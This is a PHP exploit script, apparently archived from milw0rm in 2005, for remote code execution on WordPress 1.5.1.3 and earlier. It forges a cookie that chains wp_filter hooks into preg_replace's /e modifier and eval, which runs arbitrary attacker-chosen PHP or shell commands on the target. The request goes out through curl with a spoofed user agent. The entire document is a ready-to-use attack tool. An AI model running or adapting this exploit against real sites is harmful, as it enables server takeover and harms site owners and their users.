<?php
echo "Wordpress <= 1.5.1.3 - remote code execution 0-DDAAYY exploit\n";
echo "(C) Copyright 2005 Kartoffelguru\n\n";
echo "[!] info: requires register_globals turned on on target host\n\n";
if (!extension_loaded('curl')) {
die ("[-] you need the curl extension activated...\n");
}
function usage()
{
die ("usage:\n\t./wpx.php -h http://www.xyz.net/blog/ -c 'system(\"uname -a;id\");'\n\n");
}
$options = getopt("h:c:");
if (count($options) < 1 || !isset($options['h'])) {
usage();
}
$host = (is_array($options['h']) ? $options['h'][0]:$options['h']);
$cmd = (is_array($options['c']) ? $options['c'][0]:$options['c']);
if (!preg_match("/^http:\/\//", $host, $dummy)) {
usage();
}
if (strlen(trim($cmd))==0) {
$cmd = 'phpinfo();';
}
$code = base64_encode($cmd);
$cnv = "";
for ($i=0;$i<strlen($code); $i++) {
$cnv.= "chr(".ord($code[$i]).").";
}
$cnv.="chr(32)";
$str = base64_encode('args[0]=eval(base64_decode('.$cnv.')).die()&args[1]=x');
$cookie='wp_filter[query_vars][0][0][function]=get_lastpostdate;wp_filter[query_vars][0][0][accepted_args]=0;';
$cookie.='wp_filter[query_vars][0][1][function]=base64_decode;wp_filter[query_vars][0][1][accepted_args]=1;';
$cookie.='cache_lastpostmodified[server]=//e;cache_lastpostdate[server]=';
$cookie.=$str;
$cookie.=';wp_filter[query_vars][1][0][function]=parse_str;wp_filter[query_vars][1][0][accepted_args]=1;';
$cookie.='wp_filter[query_vars][2][0][function]=get_lastpostmodified;wp_filter[query_vars][2][0][accepted_args]=0;';
$cookie.='wp_filter[query_vars][3][0][function]=preg_replace;wp_filter[query_vars][3][0][accepted_args]=3;';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $host);
curl_setopt($ch, CURLOPT_POST, 0);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_CURLOPT_REFERER, $host);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)");
curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
echo "[+] now executing\n\n";
$r = curl_exec($ch);
curl_close($ch);
echo $r;
?>
// milw0rm.com [2005-08-09]